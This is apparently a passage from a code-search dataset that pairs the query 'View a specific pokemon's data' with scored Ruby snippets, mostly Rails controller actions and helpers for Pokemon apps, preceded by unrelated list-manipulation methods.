"text": "def insertNew(item)\n \n @@max_id = @@max_id + 1\n \t item.id = @@max_id\n \t \n \t @inventory_arr.push(item)\n end",
"title": ""
},
{
"docid": "808bea33ac266e3731f31427443127d8",
"score": "0.56131786",
"text": "def push_list_last(key, value)\n @kvs_instance.rpush(safe_key(key), value)\n end",
"title": ""
},
{
"docid": "c7420f624038ed5e7cc748317a29a986",
"score": "0.560996",
"text": "def insert_parent tree, latest, id\n reply = latest[id][:reply_to].to_i\n if reply.nil?\n tree << id\n elsif not latest.include? reply\n tree << id\n elsif tree.include? reply\n tree.insert(tree.index(reply) + 1, id)\n else\n insert_parent tree, latest, reply\n end\n end",
"title": ""
},
{
"docid": "02fef78357ac87ed7a47b67bca82addc",
"score": "0.5595654",
"text": "def offer element\n @list.add_last(element)\n end",
"title": ""
},
{
"docid": "84d51149c304829fb03c2b455e28d424",
"score": "0.5594991",
"text": "def push_to_history(object)\n return if object == history[history_index]\n\n @history = history[0, history_index + 1]\n history << object\n @history_index = history.size - 1\n end",
"title": ""
},
{
"docid": "4a489d5edf59952aeb0961e27983c373",
"score": "0.559447",
"text": "def assume_bottom_position\n update_position( bottom_position_in_list(self).to_i+1 )\n end",
"title": ""
},
{
"docid": "91b197723e244de0890acfda0686adeb",
"score": "0.55906755",
"text": "def push(value)\n append(value)\n end",
"title": ""
},
{
"docid": "b4e3edac6cdb115a3ebe0f8dc534bdf5",
"score": "0.5575583",
"text": "def push(valor, id = nil)\n transaction do\n id ||= @saida.roots.last.to_i + 1\n\n @saida[id] = valor\n end\n end",
"title": ""
},
{
"docid": "a8ebb33a8f252a3e1081317e17a2ed43",
"score": "0.5575043",
"text": "def push(value)\n @list.push(value)\n end",
"title": ""
},
{
"docid": "df7c8868ef861bc2ea81ed14b42b3afb",
"score": "0.55735207",
"text": "def <<(obj)\n obj.parent_id = @id\n @children << obj\n end",
"title": ""
},
{
"docid": "fdb8343fdb85ca823b04781d295c23ad",
"score": "0.55732465",
"text": "def move_to_bottom\n self.class.transaction do\n decrement_position_of_lower_items\n set_bottom_position\n end\n end",
"title": ""
},
{
"docid": "5fa3d8170fca3dd1dc1b354d355f5933",
"score": "0.55724275",
"text": "def move_to_bottom\n return true if at_bottom?\n move_below(last_sibling_in_list)\n end",
"title": ""
},
{
"docid": "0db95fa0b61f9433c8ee18b43535d778",
"score": "0.55710846",
"text": "def move_to_end\n new_position = in_list? ? last_position_in_list : next_available_position_in_list\n insert_at new_position\n end",
"title": ""
},
{
"docid": "55d5794f15de2961c6d3b20f093be5b7",
"score": "0.55683786",
"text": "def add_linked pid\n #TODO safe, one? linke per pid\n @linked ||= []\n @linked.push pid\n end",
"title": ""
},
{
"docid": "e049f31b5fc42fe5c8f78e3e696b94ca",
"score": "0.55679184",
"text": "def add_last(data)\n\n end",
"title": ""
},
{
"docid": "e32592dc0cb5634b718cc1e9aaa1fd79",
"score": "0.55652076",
"text": "def push(num)\n @tree << num\n bottom_to_up_sort\n end",
"title": ""
},
{
"docid": "e32592dc0cb5634b718cc1e9aaa1fd79",
"score": "0.55652076",
"text": "def push(num)\n @tree << num\n bottom_to_up_sort\n end",
"title": ""
},
{
"docid": "69fa03b5732adacd60f989bd64d1bb3f",
"score": "0.55511624",
"text": "def new_item(id = nil)\n @items << @current unless @current.nil?\n @current = id ? { 'source_id': id } : {}\n end",
"title": ""
},
{
"docid": "60a3e3c29d0ce038ccbcc7c430fcc413",
"score": "0.55495137",
"text": "def <<(element)\n @queue << element\n\n bubble_up(@queue.size - 1)\n end",
"title": ""
},
{
"docid": "bc25aa91454bb8e9e9ddd08904a475eb",
"score": "0.55353165",
"text": "def move_down(id)\n with_lock do\n position = index(id)\n if position.nil? or position == (length - 1)\n nil\n else\n next_id = get(position + 1)\n redis.multi do\n set(position + 1, id)\n set(position, next_id)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e9a7e810721650590527f62f3d638c11",
"score": "0.5527161",
"text": "def push(value)\n @items = value << @items\n end",
"title": ""
},
{
"docid": "6929046a57e0484314b300f541f36b90",
"score": "0.5525047",
"text": "def add_topping(new_top)\n @toppings = @toppings.push(new_top)\n end",
"title": ""
},
{
"docid": "8ff90d15406c65cf2a22f8554b1f0868",
"score": "0.55245584",
"text": "def move_to_bottom\n move_to(-1)\n end",
"title": ""
},
{
"docid": "cfdf0635231c0355989aa657a66a20f7",
"score": "0.5517124",
"text": "def push(element)\n @store.push(element)\n @top = @top.succ\n self\n end",
"title": ""
},
{
"docid": "02db60cc86cebbebe4878bd19ebb53c2",
"score": "0.5501996",
"text": "def push(value)\n @values.last << value\n end",
"title": ""
}
] |
abdbe5147a124d05e965458e737fd82f | View a specific pokemon's data | [
{
"docid": "bc333aaf8cad44d0b43b763cd4bcaa63",
"score": "0.674525",
"text": "def view\n @pokemon = get_pokemon_from_request\n if @pokemon == nil\n render :json => {\n :error => \"Pokemon not found\"\n }, :status => 404\n return\n end\n\n render json: @pokemon, :status => :ok\n end",
"title": ""
}
] | [
{
"docid": "95fd432e086e69ef5fbf3809fcc800b7",
"score": "0.81454927",
"text": "def show\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "95fd432e086e69ef5fbf3809fcc800b7",
"score": "0.81454927",
"text": "def show\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "95fd432e086e69ef5fbf3809fcc800b7",
"score": "0.81454927",
"text": "def show\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "7b0bbc3ec3b27aec95951007ab029cf1",
"score": "0.78622526",
"text": "def view_pokemon\n array = CaughtPokemon.where(trainer: self)\n system \"clear\"\n view_caught_pokemon(array)\n if array.count != 0\n array.each {|pokemon| puts \"#{pokemon.poke_name}, (#{pokemon.pokemon.name.capitalize})\"}\n else\n puts \"You haven't caught any pokemon! Try catching some pokemon on your walk!\"\n end\n end",
"title": ""
},
{
"docid": "5de38b92ad5b1b9c0e1d56b1a4abc76d",
"score": "0.74101067",
"text": "def show\n @pokemon_stat = PokemonStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pokemon_stat }\n end\n end",
"title": ""
},
{
"docid": "f6f56a192e833dc60573f8ee3b472488",
"score": "0.7403098",
"text": "def show_pokemon(pokemon_id)\n pokemon_id = GameData::Pokemon.get_id(pokemon_id) if pokemon_id.is_a?(Symbol)\n GamePlay::Dex.new(pokemon_id).main\n Graphics.transition\n @wait_count = 2\n end",
"title": ""
},
{
"docid": "9b160ecbe65f8b30ae731ed58588c245",
"score": "0.7398616",
"text": "def show\n @pokedex = Pokedex.find(@pokemon.pokedex_id)\n @skill_select = Skill.where(element_type: @pokedex.element_type).collect{ |u| [u.name, u.id] }\n @pokemon_skill = PokemonSkill.new\n @pokemon_skills = PokemonSkill.where(pokemon_id: @pokemon.id)\n end",
"title": ""
},
{
"docid": "6b1055a873dd10989f507f254d2d442b",
"score": "0.7396554",
"text": "def show\n\t\t\t\tpokemon = Pokemon.find(params[:id])\n\t\t\t\trender json: {status: 'SUCCESS', message:'Pokemon carregado', data:pokemon},status: :ok\n\t\t\tend",
"title": ""
},
{
"docid": "7a620f4a80327e693918ebc169c8cf5f",
"score": "0.7392939",
"text": "def show\n pokemon = Pokemon.find(params[:id])\n render json: {\n status: 'success',\n message: 'Founded Pokemon',\n data: pokemon\n }, status: :ok\n end",
"title": ""
},
{
"docid": "49690ab34a7a703b283110c868027008",
"score": "0.7385379",
"text": "def index\n @pokemon = Pokemon.all\n end",
"title": ""
},
{
"docid": "81b561cf1e301061598ca23c3e96b8d8",
"score": "0.73708403",
"text": "def show\n @pokemon1 = Pokemon.find(@pokemon_battle.pokemon1_id)\n @pokemon2 = Pokemon.find(@pokemon_battle.pokemon2_id)\n end",
"title": ""
},
{
"docid": "41db7f7ce42f85042aa8e5f756e32907",
"score": "0.72812295",
"text": "def show\n @pokedex = Pokemon.find(@pokemon[:id]).pokedex\n element_type = @pokedex.element_type\n @skill_select = Skill.where(element_type: element_type).map{|x| [x.name, x.id]}\n @pokemon_skills = PokemonSkill.where(pokemon_id: @pokemon.id)\n @pokemon_skill = PokemonSkill.new\n end",
"title": ""
},
{
"docid": "00ea26bcc3c8ff87c22e2342a1f17c1f",
"score": "0.72691923",
"text": "def show\n respond_to do |format|\n format.json { render json: @pokemon }\n end\n end",
"title": ""
},
{
"docid": "2ea9ffd56c5acaf62017eb22190726e2",
"score": "0.7243026",
"text": "def show\n @pokemonlist = Pokemonlist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pokemonlist }\n end\n end",
"title": ""
},
{
"docid": "a312ee881395eb1832ce2faed6db6bce",
"score": "0.7241374",
"text": "def show\n @current = Pokemon.all.where(\"id = #{params[:id]}\")\n @pokemon_array = []\n\n def rollback\n if (@current[0].parent != nil and @current[0].parent != \"\")\n @current = Pokemon.all.where(\"name = '#{@current[0].parent}'\")\n rollback\n end\n end\n\n def search\n @pokemon_array.push(@current)\n @current = Pokemon.all.where(\"parent = '#{@current[0].name}'\")\n if (@current.length > 1)\n @pokemon_array.push(@current)\n elsif (@current[0] != nil)\n search\n end\n end\n\n rollback\n search\n\n @generation = @pokemon.generation_id\n end",
"title": ""
},
{
"docid": "5b3046536afcc2015f0ffe90b54a4373",
"score": "0.7155126",
"text": "def show\n @poke = Poke.find(params[:id])\n end",
"title": ""
},
{
"docid": "2559f19dcf2734b02eec9f27ad0ff1c8",
"score": "0.7076003",
"text": "def index\n \n @player_pokemons = PlayerPokemon.all\n end",
"title": ""
},
{
"docid": "53abcb6771b6095f53fbf9603504e3c0",
"score": "0.7067568",
"text": "def find_and_display_pokemon(name, with_image = false)\n poke_array = find_pokemon_by_name(name)\n display_pokemon_info(poke_array, with_image)\n end",
"title": ""
},
{
"docid": "4d8d9cfb8b81ececf2d3235bbc5738ab",
"score": "0.70598567",
"text": "def index\n\t @pokemons = Pokemon.gen6\n\n end",
"title": ""
},
{
"docid": "b0c7cb4cf0f65b35c002095a244c1e3f",
"score": "0.7033325",
"text": "def display_pokemon_info(user)\n Ascii.art(pokemon_id)\n\n puts \"\\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\".light_yellow\n puts \" Name: \".blue + \"#{name.capitalize}\".white\n puts \" ID: \".blue + \"##{pokemon_id}\".white\n puts \" Height: \".blue + \"#{height} ft.\".white\n puts \" Weight: \".blue + \"#{weight} lbs.\".white\n puts \" Main Type: \".blue + \"#{type_1.capitalize}\".white\n puts \"\\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\".light_yellow\n \n # Display additional options menu for this Pokemon\n more_options_menu(user)\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "4c9c54a182c470db4f22985ab9bc9509",
"score": "0.7015565",
"text": "def index\n @pokemons = Pokemon.all\n end",
"title": ""
},
{
"docid": "a51aafd1a70febb688fb45d20ffc341f",
"score": "0.6990275",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n \n end",
"title": ""
},
{
"docid": "efb4c1c9bba3bf9319db53e4d74eb2a0",
"score": "0.69535613",
"text": "def whos_that_pokemon\n return \"ID #{id} | Name: #{name} | HP: #{hp} | Attack: #{attack}, Defense: #{defense} | Speed: #{speed}\"\n end",
"title": ""
},
{
"docid": "d27bc38e98eeea7daae231af3a6a1d9d",
"score": "0.69223166",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6896383",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "57c8680dfe3d938f5d2e8a364de81dba",
"score": "0.6895709",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "6fc72f6c8846015668c259e45baa00ae",
"score": "0.68939286",
"text": "def index\n @pokemons = Pokemon\n .limit(filter_params[:limit] ? filter_params[:limit] : nil)\n .offset(filter_params[:offset] ? filter_params[:offset] : nil)\n .only(:name, :base_experience, :height, :weight, :sprite, :hp_stats, :attack_stats, :defense_stats)\n respond_to do |format|\n format.json { render json: @pokemons }\n end\n end",
"title": ""
},
{
"docid": "a0920b2f0b13ca8c00ad03925f4c3158",
"score": "0.6869777",
"text": "def index\n @tipo_pokemons = TipoPokemon.all\n end",
"title": ""
},
{
"docid": "dac90669cdcb62144eb83f576d999cb9",
"score": "0.6868174",
"text": "def show\n @pokemon_battle_logs = PokemonBattleLog.where(pokemon_battle_id: @pokemon_battle)\n end",
"title": ""
},
{
"docid": "ff9d7beb5767867dab8b432b792162d1",
"score": "0.6865906",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "ff9d7beb5767867dab8b432b792162d1",
"score": "0.6865906",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "ff9d7beb5767867dab8b432b792162d1",
"score": "0.6865906",
"text": "def set_pokemon\n @pokemon = Pokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "df96952744c78f5d8c62a29b43dd5032",
"score": "0.6836241",
"text": "def set_pokemon\n @pokemon = Pokemon.friendly.find(params[:id].titleize)\n end",
"title": ""
},
{
"docid": "1196d50d11dce9d88909c23a271fc1ff",
"score": "0.6814282",
"text": "def get_pokemon(id, index, prop, *args)\n return nil unless (pokemon = @daycares.dig(id, :pokemon, index))\n return pokemon.send(prop, *args)\n end",
"title": ""
},
{
"docid": "e518e15efd5227ca8fbd018e649606ff",
"score": "0.67704034",
"text": "def set_pokemon\n @pokemon = Pokemon.where(poke_id: params['id']).first\n end",
"title": ""
},
{
"docid": "3b0d41db6cf3b8f6986979a4c475e34c",
"score": "0.6768915",
"text": "def landing\n @pokemon = Pokemon.all\n end",
"title": ""
},
{
"docid": "4a040d0d753329077cdbb5e6500ec18a",
"score": "0.6765413",
"text": "def index\n pokemon = open('http://pokeapi.co/api/v2/pokemon/').read\n pokemon = JSON.parse pokemon\n @pokemon = pokemon.paginate(page: params[:page], per_page: 12)\n respond_to do |format|\n format.html\n format.json { render json: @pokemon }\n end\n end",
"title": ""
},
{
"docid": "64a875168c76ceffda85d9eee1778c8a",
"score": "0.6682121",
"text": "def index\n @pokemon_types = PokemonType.all\n end",
"title": ""
},
{
"docid": "047cb7ce3084f34888474aef6d4b52c6",
"score": "0.6677069",
"text": "def show\n @pokemon1 = Pokemon.find(@pokemon_battle.pokemon1_id)\n @pokemon2 = Pokemon.find(@pokemon_battle.pokemon2_id)\n pokemon1_select_skill = @pokemon1.pokemon_skills.where(\"current_pp >?\", 0)\n pokemon2_select_skill = @pokemon2.pokemon_skills.where(\"current_pp >?\", 0)\n @pokemon1_skills = pokemon1_select_skill.map {|p| [ \"#{p.skill_name} (#{p.current_pp}/#{p.skill_max_pp})\", p.id ] }\n @pokemon2_skills = pokemon2_select_skill.map {|p| [ \"#{p.skill_name} (#{p.current_pp}/#{p.skill_max_pp})\", p.id ] }\n @pokemon_battle_logs = PokemonBattleLog.where(\"pokemon_battle_id=?\", params[:id]).order(\"created_at ASC\").paginate(page: params[:page], per_page: 10) \n end",
"title": ""
},
{
"docid": "ff357edc1a25334af025d88567989948",
"score": "0.6671339",
"text": "def see_pokemon(quest_id)\n return nil.to_a unless requires_to_see_pokemon?(quest_id)\n return @data[quest_id].see_pokemon\n end",
"title": ""
},
{
"docid": "0f639a256604274e030f3e5958ae3d7b",
"score": "0.66447216",
"text": "def show\n @pets = User.find(params[:id]).pets\n end",
"title": ""
},
{
"docid": "5ab2f6b6dee6c7bf900256e0f017c8e0",
"score": "0.6594947",
"text": "def get_pokemon(id)\n response = HTTParty.get(BASE_URI + id).to_s\n parsed = JSON.parse(response, {symbolize_names: true})\n\n pokename = parsed[:name].capitalize # Capitalize pokemon name\n pokenumber = \"#%03d\" % parsed[:id] # Turn '3' into '#003', '59' into '#059', etc.\n \n # Extract out the 'official artwork' png for the pokemon\n pokesprite = parsed[:sprites][:other][:\"official-artwork\"][:front_default]\n \n # Extract out the actual type names and capitalize them\n poketypes = parsed[:types].map { |v| v[:type][:name].capitalize }\n pokeheight = format_info(parsed[:height], \"height\")\n pokeweight = format_info(parsed[:weight], \"weight\")\n\n # The extra arguments are here because the pokemon hash has\n # the structure {abilities => {ability => {name: \"x\" }}}, and we want the names\n pokeabils = format_info_list(parsed[:abilities], :ability, :name)\n pokeitems = format_info_list(parsed[:held_items], :item, :name)\n\n # Return a new hash with only the relevent info for the pokemon\n return {\n :name => pokename,\n :num => pokenumber,\n :sprite => pokesprite,\n :types => poketypes,\n :height => pokeheight,\n :weight => pokeweight,\n :abils => pokeabils,\n :items => pokeitems\n }\n end",
"title": ""
},
{
"docid": "fa47b640ccef1ede539010280190143b",
"score": "0.65910065",
"text": "def call\n get_pokemon\n menu\n end",
"title": ""
},
{
"docid": "ebca831aa63c825188d578d4f81f5c18",
"score": "0.6587034",
"text": "def show\n @vet = Vet.find(params[:id])\n @vet_profile = VetProfile.find(@vet.id)\n user_ids = current_vet.users.map(&:id)\n @pets = Pet.where(user_id: user_ids)\n end",
"title": ""
},
{
"docid": "1eb26e5a6767d56511ee1cbf2ca8b738",
"score": "0.65816325",
"text": "def index\n @pokemons = Pokemon.all.order(:dex_id)\n end",
"title": ""
},
{
"docid": "524ff293babe3c91951811ae8e3f4dca",
"score": "0.6581592",
"text": "def see_pokemon(pokemon_id)\n @active_quests.each do |quest_id, quest|\n next unless quest[:pokemon_seen]\n next unless GameData::Quest.id_valid?(quest_id)\n quest_data = GameData::Quest.get(quest_id)\n index = quest_data.see_pokemon.index(pokemon_id)\n quest[:pokemon_seen][index] = true if index\n check_quest(quest_id)\n end\n end",
"title": ""
},
{
"docid": "b7d2e64ddb7ab8ff7f21f55fbec70857",
"score": "0.65641934",
"text": "def show\n @pokemon1 = Pokemon.find(@pokemon_battle.pokemon1_id)\n @pokemon2 = Pokemon.find(@pokemon_battle.pokemon2_id)\n @pokedex = Pokemon.find(@pokemon_battle.pokemon2_id).pokedex\n @pokedex2 = Pokemon.find(@pokemon_battle.pokemon1_id).pokedex\n @skill_select1 = PokemonSkill.where(\"pokemon_id = ? AND current_pp > ?\", @pokemon1.id, 0).map{|pokemon_skill|\n [\"#{pokemon_skill.skill.name} (#{pokemon_skill.current_pp}/#{pokemon_skill.skill.max_pp})\", pokemon_skill.skill.id]\n }\n @skill_select2 = PokemonSkill.where(\"pokemon_id = ? AND current_pp > ?\", @pokemon2.id, 0).map{|pokemon_skill|\n [\"#{pokemon_skill.skill.name} (#{pokemon_skill.current_pp}/#{pokemon_skill.skill.max_pp})\", pokemon_skill.skill.id]\n }\n\n @pokemon_battle_log = PokemonBattleLog.new\n @pokemon_battle_logs = PokemonBattleLog.where(pokemon_battle_id: @pokemon_battle.id)\n end",
"title": ""
},
{
"docid": "f1671c7e396fddc9ae2fae77b359cd24",
"score": "0.65559787",
"text": "def get_pokemon\n PokemonInfoFinder::Scraper.scrape_pokemon_name\n @pokemon_name_list = PokemonInfoFinder::Pokemon.all_names\n #make pokemon class to make new pokemon and give them types and info \n end",
"title": ""
},
{
"docid": "f43fd64bdf51ad7ec95e2cd745d2ac57",
"score": "0.654923",
"text": "def index\n @moves_pokemons = MovesPokemon.all\n end",
"title": ""
},
{
"docid": "e69c56e6f3a147928155a39a01c86d7b",
"score": "0.65490955",
"text": "def show\n # @pokemon = Pokemon.find(params[:id])\n # respond_to do |format|\n # format.json {render json: @pokemon, status: 200}\n # format.js\n # end\n # # render json: @pokemon\n end",
"title": ""
},
{
"docid": "7b3bccbd86f8ed7ec4119122c6a5480a",
"score": "0.6539633",
"text": "def index\n @pokemon_abilities = PokemonAbility.all\n end",
"title": ""
},
{
"docid": "db5999cdf344dea765db84fbff965a74",
"score": "0.65354455",
"text": "def whos_that_pokemon\n who_is_it = \"id: #{id}, name: #{name}, hp: #{hp}, attack: #{attack}, defense: #{defense}, speed #{speed}\"\n end",
"title": ""
},
{
"docid": "a541ba39f9f3a5941ed49311f5981c4f",
"score": "0.6529169",
"text": "def show\n @battle = Battle.where(:id => params[:id])\n .includes(:parties).references(:parties)\n .order(\"parties.id\").first\n @pokemon_ids = []\n @pokemon_names = []\n @battle.parties.each do |it|\n @pokemon_ids << it.pokemon_id\n @pokemon_names << Pokemon.find(it.pokemon_id).name\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @battle }\n end\n end",
"title": ""
},
{
"docid": "9d98bd8806a779aa3eec82391ed454d4",
"score": "0.65243465",
"text": "def show\n puts params\n offers = OwnedPokemon.find(params[:id].to_i).offers\n # offers = offered_pokemons.map { |offered_pokemon| Offer.find(offered_pokemon.offer_id) }\n # @owned_pokemons = offers.map { |offer| OwnedPokemon.find(offered_pokemon.offer_id) }\n \n offered_pokemons = offers.map { |offer| OfferedPokemon.all.where({offer_id: offer.id.to_i}) }\n \n filtered_offered_pokemons = offered_pokemons.flatten.select{|offered_pokemon| offered_pokemon[:owned_pokemon_id].to_i != params[:id].to_i}\n \n @owned_pokemons = filtered_offered_pokemons.map { |offered_pokemon| OwnedPokemon.find(offered_pokemon[:owned_pokemon_id].to_i) }\n\n render 'index.json.jbuilder'\n end",
"title": ""
},
{
"docid": "58f2626fee39fbea0519785a2c0780a7",
"score": "0.651349",
"text": "def index\n @trainer_pokemons = TrainerPokemon.all\n end",
"title": ""
},
{
"docid": "d1678e9217b08fd0d52a07609f302a8b",
"score": "0.6512567",
"text": "def random_pokemon\n HTTParty.get(\"http://pokeapi.co/api/v2/pokemon/?offset=#{random_offset}&limit=1\").parsed_response['results'].first\n end",
"title": ""
},
{
"docid": "d95bfb48382f4efcd94e698b2de0675b",
"score": "0.6508377",
"text": "def index\n @pokemon_battle_logs = PokemonBattleLog.where(pokemon_battle_id: params[:pokemon_battle_id])\n @pokemon_battle = Pokemon.all\n end",
"title": ""
},
{
"docid": "5fe750087547cb3f9cdfe4262532b4be",
"score": "0.6498701",
"text": "def print_pokedex\n pokedex = @db.execute(\"SELECT * FROM pokedex\")\n\n puts \"_\" * 50\n puts \"ID | Name | Location | CP | Evolve?\" # print heading for the table\n pokedex.each do |pokemon|\n puts \"#{pokemon['id']} | #{pokemon['name']} | #{pokemon['location']} | #{pokemon['cp']} | #{pokemon['evolve']}\"\n end\n \n puts \"_\" * 50\n end",
"title": ""
},
{
"docid": "c3ec83b24a8c99df9eb435f1fe08bb3f",
"score": "0.64924634",
"text": "def parse_poke(var_id, index)\n # @type [PFM::Pokemon]\n pokemon = @daycares.dig($game_variables[var_id], :pokemon, index)\n (text = PFM::Text).set_num3(pokemon.level_text)\n text.set_pkname(pokemon.name)\n parse_text(36, 33 + (pokemon.gender == 0 ? 3 : pokemon.gender))\n end",
"title": ""
},
{
"docid": "1b250f9676a1777ef8adc0d8e9d63201",
"score": "0.64911455",
"text": "def pokemon_index(id, level = nil, form = nil, shiny = nil)\n has_pokemon?(id, level, form, shiny, index: true)\n end",
"title": ""
},
{
"docid": "4bdf3daf05aff9e23386e3f848c3f462",
"score": "0.6488292",
"text": "def show\n @uvp = @idea.uvps.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uvp }\n end\n end",
"title": ""
},
{
"docid": "9c777e1dd4a4297071503addcb047983",
"score": "0.64631504",
"text": "def set_player_pokemon\n @player_pokemon = PlayerPokemon.find(params[:id])\n end",
"title": ""
},
{
"docid": "0debc5a7c68cebc032ef67818881e0b6",
"score": "0.6462994",
"text": "def show\n @poet = Poet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poet }\n end\n end",
"title": ""
},
{
"docid": "76a03bae9b78738508e370a22759be14",
"score": "0.6441357",
"text": "def select_pokemon\n self.chosen_pokemon = prompt.select(\"Choose a pokemon to train\", Pokemon.list_pokemon_names)\n self.pokemon_instance = Pokemon.find_pokemon_instance(self.chosen_pokemon)\n puts \"\\n\"\n end",
"title": ""
},
{
"docid": "70a7ef4fa37d3cbeede41c6cc050e6d0",
"score": "0.6422815",
"text": "def show\n @tip = @game.tips.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tip }\n end\n end",
"title": ""
},
{
"docid": "00154e5fca5bce244eab11a540f775d0",
"score": "0.6410811",
"text": "def show\n pokemon=Pokemon.find(params[:id])\n File.open(Rails.root.join(\"public\",\"pokedex.txt\"), \"r\") { |file|\n file.each_line do |line|\n name=line.split('-').first\n if name==pokemon.name.downcase\n pokedex=line.split('-')[1].to_s.chomp\n pokedex=\"0\"*(3-pokedex.length)+pokedex\n @imgurl=\"http://assets22.pokemon.com/assets/cms2/img/pokedex/full/\"+pokedex+\".png\"\n break;\n end\n end\n }\n end",
"title": ""
},
{
"docid": "f7f1d034a81f621094c89cc181d89db9",
"score": "0.6409885",
"text": "def show\n @pets = Pet.all\n end",
"title": ""
},
{
"docid": "f7f1d034a81f621094c89cc181d89db9",
"score": "0.6409885",
"text": "def show\n @pets = Pet.all\n end",
"title": ""
},
{
"docid": "280d7a6ad2c2b01e22faed3f80337ffc",
"score": "0.6407614",
"text": "def display_pokemon_info(poke_hash, with_image)\n unless poke_hash.nil?\n poke_hash.map do |silph, gg|\n if silph.released?\n \"#{display_name(silph.name)} #{silph.dex_number}\nCurrently Available: #{silph.available?}\n#{display_shiny_info(silph, gg)}\nCurrently available as shadow: #{silph.shadow_available?}\nCan nest: #{silph.nests?}\" + (with_image ? \"\\n#{silph.image}\" : '')\n else\n \"#{silph.name.capitalize} #{silph.dex_number}\" +\n \"Has not been released in Pokemon Go\" +\n (with_image ? \"\\n#{silph.image}\" : '')\n end\n end\n else\n ['No pokemon found']\n end\n end",
"title": ""
},
{
"docid": "775412e09264087ad3cd8a725adaf973",
